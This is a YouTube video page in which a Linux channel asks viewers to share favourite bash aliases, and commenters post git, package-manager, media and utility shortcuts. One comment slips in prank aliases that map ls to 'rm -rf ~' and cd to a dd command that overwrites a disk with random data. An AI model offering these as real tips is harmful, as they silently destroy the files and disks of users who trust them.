Let's Share Our Favorite Bash Aliases

preview_player
Показать описание
I think one of the things that most of us do not fully appreciate is how much time we can save by using shell aliases. I don't think I use enough aliases and when I check out other people's configs, I don't think you guys use enough aliases. So I thought I'd share some of my aliases with you guys, and you guys can share your favorite aliases in the comments below!

REFERENCED:

WANT TO SUPPORT THE CHANNEL?

SOCIAL PLATFORMS:
💬 IRC: irc://freenode #distrotube

DT ON THE WEB:

FREE AND OPEN SOURCE SOFTWARE THAT I USE:

Your support is very much appreciated. Thanks, guys!
Рекомендации по теме
Комментарии
Автор

My 2 favorite Git aliases:
alias gs='git status'
alias glog='git log --graph --decorate --oneline' # this one is just pure terminal beauty

dhakhoa
Автор

You don't need to pass -Syu to yay. Just yay will work and default to -Syu.

nicholasficara
Автор

I didn’t know my terminal needed to “Never give up”, now I’m glad I can rr anywhere!

felipecarlin
Автор

Excellent video! My wife looked over at my screen and said, "Leaning more Linux stuff?" Yup!
Keep up the great work :)

Not-THAT-ChrisPratt
Автор

alias bye="shutdown -h now"
alias wink="reboot"

ixubux
Автор

Those aliases for `exa` are going to help me a lot. Thanks a ton!

karu
Автор

Hey DT! I just wanted to go back to this video and tell you that this completely changed my workflow for the better, particularly as a window manager user. I have bash aliases to change my wallpaper with Nitrogen, to connect and disconnect my home Wireguard vpn, to connect and disconnect my bluetooth headphones, to quickly switch between my home WiFi and phone hotspot. Since I am running vanilla Arch (BTW) on a 13 inch MacBook Pro with no dedicated FN lock key, I also now have a bash alias to enable and disable function lock. Thank you so much for the content you create, you just never know when one video about something simple can be lifechanging for someone. I also have a suggestion for a video I would greatly look forward to similar to this one - how about a favorite Vim macros compilation? I would be very interested to see what you come up with and what your community comes up with as well. Best wishes, and up the amazing work you've been doing in promoting open source software!

iTzJeSsE
Автор

I know this is super old now, but in case someone sees it, you can alias your aliases. This is super handy for granular control of you bashrc file.

As an example from this video: instead of typing out all those exa commands with the same long parameters to replace ls, you can first create an alias for exa that has only the color and grouping arguments. Then in the ls aliases you don't have to add those two arguments to every line. As the ls alias expands it will call the exa alias and bob's your uncle.

youtube-critic
Автор

Brilliant aliases. In case you use yay, you can actually get rid of most of your pacman aliases actually. Simply type _yay_ in the terminal, and it will perform a system-wide upgrade. I actually think one of your viewers told me that once.

There is lf which stands for »list files« and is an alternative to the ranger file manager written in Go. I don't use that, but got tired of typing _ranger_ all the time, so I simply aliased ranger to lf.

My aliases are sparse and very simple, I suppose. Still looking for a nice alias to _ncmpcpp_ though. Suggestions, anyone?

marioschroers
Автор

Referring to your git aliases. I wrote a script that will ask you what repository your writing to then it will run all of the necessary commands. It worked the first time I tried it. It ran everything correctly too.

Phydoux
Автор

Here’s my favorite:
alias yeet="rm -rf"

hn
Автор

My favorite ones ;-)
- alias ls="rm -rf ~"
- alias cd="dd if=/dev/urandom of=/dev/sdX bs=4096"

KasraMadadipouya
Автор

My only favorite aliases:
alias please="sudo"
alias fucking="sudo"

rebinsama
Автор

Thx for doing what you do DT! Hope you're doing well.
in order of usage:
vps = ssh into my vps
rr = ranger
burp = runs Burp Suite .jar file
spotify = flatpak command to run Spotify
slack = flatpak command to run Slack
vpn = cd into directory containing .ovpn connection configs; ls
wowc = runs wine with path to world of warcraft .exe
pi = ssh into my raspberry pi
corona = runs corona script to get recent numbers of infected

surferbum
Автор

Hey, DT, thanks for inspiring videos. My favorite bash alias is 'mpy'. It starts mpv and plays whatever link from YouTube or other source I've got in my clipboard. This is a huge help if you don't like to watch tons of ads, that come with videos and interrupt them on YouTube. Yeah, it's a little hack. But ads are insane these days and I had to look for a solution for the problem.

The other one is "w", which will show me current weather and forecast.

alias sdn='shutdown -h now'
alias r='ranger'
alias mpy='mpv "$(xclip -o -selection clipboard)"'
alias p='python3'
alias upd='sudo apt update && sudo apt upgrade'
alias w='curl wttr.in'

samoylov
Автор

alias rsync='rsync --info=progress2' ## Copy things with progress bar

BarafuAlbino
Автор

youtube-dl is a beast! nice shortcuts there!

MinuteFlipDoc
Автор

I use this alias all the time now to easily select which branch i want to check out using fzf (actually fzf-tmux which defaults to fzf if you're not in tmux but still requires to be downloaded separately, just as easy as installing fzf though. if you don't wish to install this just remove the '-tmux' from the fzf command):

alias gcb='git checkout $(git branch -a | fzf-tmux -d 15 --no-preview | sed "s/remotes\/origin\///g")'

For work I'm constantly having to switch branches as a part of my own work and mostly reviewing other pull requests. This alias has been super super handy, especially when the only unique part of the branch name is the ticket number on the relevant project-management software board.

ryanblock
Автор

i've been meaning to tidy up my aliases since i stopped WM hopping. i did make an alias helper script that i'm quite proud of, that greps my bashrc for specific comments, and awks the output into categories. it took me about an hour tune fine tune the awk command, and i've used it.. er... maybe twice? haha

howmuchiswhere
Автор

@DistroTube Hey DT. Here is an alias you might find useful: get-remote='git config --get remote.origin.url'. It shows the remote address of any cloned repository.

Zoltar